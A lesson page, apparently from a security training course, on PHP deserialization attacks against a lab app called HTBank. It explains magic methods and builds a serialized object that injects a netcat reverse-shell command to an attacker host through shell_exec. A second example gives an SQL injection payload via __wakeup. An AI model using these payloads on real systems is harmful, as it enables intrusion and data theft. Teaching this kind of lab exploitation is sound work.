Introduction to Deserialization Attacks
RCE: Magic Methods
Magic Methods
In the previous section, we identified that we could give ourselves an @htbank.com email address and found an XSS vulnerability. As the last step, we will try to get remote code execution on the server.
Taking another look at app/Helpers/UserSettings.php we can see definitions for the functions __construct, __wakeup() and __sleep() at the bottom of the file:
...
public function __construct($Name, $Email, $Password, $ProfilePic) {
$this->setName($Name);
$this->setEmail($Email);
$this->setPassword($Password);
$this->setProfilePic($ProfilePic);
}
public function __wakeup() {
shell_exec('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported settings for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
}
public function __sleep() {
return array("Name", "Email", "Password", "ProfilePic");
}
}
In PHP, functions whose names start with __ are reserved for the language. A subset of these functions are so-called magic methods which include functions like __sleep, __wakeup, __construct and __destruct. These are special methods that overwrite default PHP actions when invoked on an object.
In total, PHP has 17 magic methods. Ranked based on their usage in open-source projects, they are the following:
| Method | Description |
|---|---|
| __construct | Define a constructor for a class. Called when a new instance is created. E.g. new Class() |
| __toString | Define how an object reacts when treated as a string. E.g. echo $obj |
| __call | Called when you try to call inaccessible methods in an object context E.g. $obj->doesntExist() |
| __get | Called when you try to read inaccessible properties E.g. $obj->doesntExist |
| __set | Called when you try to write inaccessible properties E.g. $obj->doesntExist = 1 |
| __clone | Called when you try to clone an object E.g. $copy = clone $object |
| __destruct | Called when an object is destroyed (Opposite of constructor) |
| __isset | Called when you try to call isset() or isempty() on inaccessible properties E.g. isset($obj->doesntExist) |
| __invoke | Called when you try to invoke an object as a function, e.g. $obj() |
| __sleep | Called when serializing an object. If __serialize and __sleep are defined, the latter is ignored. E.g. serialize($obj) |
| __wakeup | Called when deserializing an object. If __unserialize and __wakeup are defined, the latter is ignored. E.g. unserialize($ser_obj) |
| __unset | Called when you try to unset inaccessible properties E.g. unset($obj->doesntExist) |
| __callStatic | Called when you try to call inaccessible methods in a static context E.g. Class::doesntExist() |
| __set_state | Called when var_export is called on an object E.g. var_export($obj, true) |
| __debuginfo | Called when var_dump is called on an object E.g. var_dump($obj) |
| __unserialize | Called when deserializing an object. If __unserialize and __wakeup are defined, __unserialize is used. Only in PHP 7.4+. E.g. unserialize($obj) |
| __serialize | Called when serializing an object. If __serialize and __sleep are defined, __serialize is used. Only in PHP 7.4+. E.g. unserialize($obj) |
In our example, __construct overrides the default PHP constructor, allowing us to specify what should happen when a new UserSettings object is created (in this case assigning values from the constructor's parameters). Defining __sleep for the UserSettings object means that whenever the object is serialized this function will be executed prior. Similarly, __wakeup is called right before the object is deserialized.
Knowing what these methods are, __wakeup sticks out to us. We can see that the function is appending a line to /tmp/htbank.log every time a user is deserialized, which should be each time user settings are imported into the website. What especially stands out here is the use of shell_exec with a variable that we control ($this->getName() returns the Name property, which we can set).
Seeing that we can control part of the command that is passed to shell_exec, without any filters, this is an example of a simple command injection. If we set our name to begin with "; we can break out of the echo command and run whatever other command we want.
Getting a Reverse Shell
Knowing that a command injection should be possible, we can update exploit.php to set our name to "; nc -nv <ATTACKER_IP> 9999 -e /bin/bash; #
...
echo base64_encode(serialize(new \App\Helpers\UserSettings('"; nc -nv <ATTACKER_IP> 9999 -e /bin/bash;#', '[email protected]', '$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda', 'default.jpg')));
...
We will run exploit.php again to get our new payload:
[!bash!]$ php exploit.php
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...d2ZkYSI7fQ==
We can update our local UserSettings.php to print out the entire command that will be passed to shell_exec, just to check if everything is good.
...
public function __wakeup() {
print('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported settings for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
shell_exec('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported settings for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
}
...
Testing Locally
First, we should start a local Netcat listener and test the payload locally.
[!bash!]$ php target.php
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...d2ZkYSI7fQ==
echo "$(date +'[%d.%m.%Y %H:%M:%S]') Imported settings for user '"; nc -nv 127.0.0.1 9999 -e /bin/bash;#'" >> /tmp/htbank.logNcat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:9999.
We can see that the command injection was successful, and you may notice that none of the values were printed out like the other times we ran target.php (until we close Netcat).
Running against the Target
We can restart the listener on our attacking machine and once we import the payload into the web application we should get a reverse shell:
[!bash!]$ nc -nvlp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.20.0.4.
Ncat: Connection from 172.20.0.4:43134.
ls -l
total 12
drwxr-xr-x 2 sammy sammy 4096 Oct 8 22:47 css
-rw-r--r-- 1 sammy sammy 0 Sep 20 13:19 favicon.ico
-rw-r--r-- 1 sammy sammy 1710 Sep 20 13:19 index.php
-rw-r--r-- 1 sammy sammy 24 Sep 20 13:19 robots.txt
Other Attacks
In the example of HTBank, we used deserialization to control input to shell_exec and thus control the command that was executed. However, deserialization is not exclusive to command injection and will not always result in remote code execution, depending on which magic functions the developers have defined. As an attacker, you must be creative and may find it possible to conduct attacks such as SQLi, LFI, and DoS via deserialization.
SQLi via Deserialization
Here is an example of a possible SQL injection via deserialization. Imagine the classes UserModel and UserProperty are copied from the source code of some targeted website, and POST_Check_User_Property is a recreation of how the website handles some example POST request which results in a UserProperty object being deserialized.
There are a lot of magic methods defined here, but a couple should stick out. We can see in UserModel.__get() that the MySQL database is queried for the $get column (for example $userModel->email will result in SELECT email FROM ...).
In UserProperty.__wakeup(), we can see that upon deserializing a UserProperty object, a new UserModel object is created and queried for the property, presumably to check if it was updated.
The problem is that we can supply the serialized UserProperty object via the POST_Check_User_Property endpoint, and thus we can control the query which will be executed in UserModel.__get leading to SQL injection.
<?php
class UserModel {
function __construct($id) {
$this->id = $id;
}
function __get($get) {
$con = mysqli_connect("localhost", "XXXXX", "XXXXX", "htbank");
$result = mysqli_query($con, "SELECT " . $get . " FROM users WHERE id = " . $this->id);
$row = mysqli_fetch_row($result);
mysqli_close($con);
return $row[0];
}
}
class UserProperty {
function __construct($id, $prop) {
$this->id = $id;
$this->prop = $prop;
$u = new UserModel($id);
$this->val = $u->$prop;
}
function __toString() {
return $this->val;
}
function __wakeup() {
$u = new UserModel($this->id);
$prop = $this->prop;
$this->val = $u->$prop;
}
}
function POST_Check_User_Property($ser) {
// ...
$u = unserialize($ser);
// ...
return $u;
}
// EXPECTED USAGE:
// $password = new UserProperty(1, "password");
// echo "The password of user with id '1' is '$password'\n";
For this example, we would be able to carry out the SQL injection attack like so:
$up = new UserProperty(1, "group_concat(table_name) from information_schema.tables where table_schema='htbank';-- ");
echo POST_Check_User_Property(serialize($up));
Running this results in proof the injection works:
[!bash!]$ php example.php
failed_jobs,migrations,password_resets,personal_access_tokens,users
VPN Servers
Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.
All VM instances associated with the old VPN Server will be terminated when switching to
a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.
PROTOCOL
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
Table of Contents
Introduction
Introduction to Serialization Introduction to Deserialization AttacksExploiting PHP Deserialization
Identifying a Vulnerability (PHP) Object Injection (PHP) RCE: Magic Methods RCE: Phar Deserialization Tools of the TradeExploiting Python Deserialization
Identifying a Vulnerability (Python) Object Injection (Python) Remote Code Execution Tools of the TradeDefending against Deserialization Attacks
Patching Deserialization Vulnerabilities Avoiding Deserialization VulnerabilitiesSkills Assessment
Skills Assessment I Skills Assessment IIMy Workstation
OFFLINE
/ 1 spawns left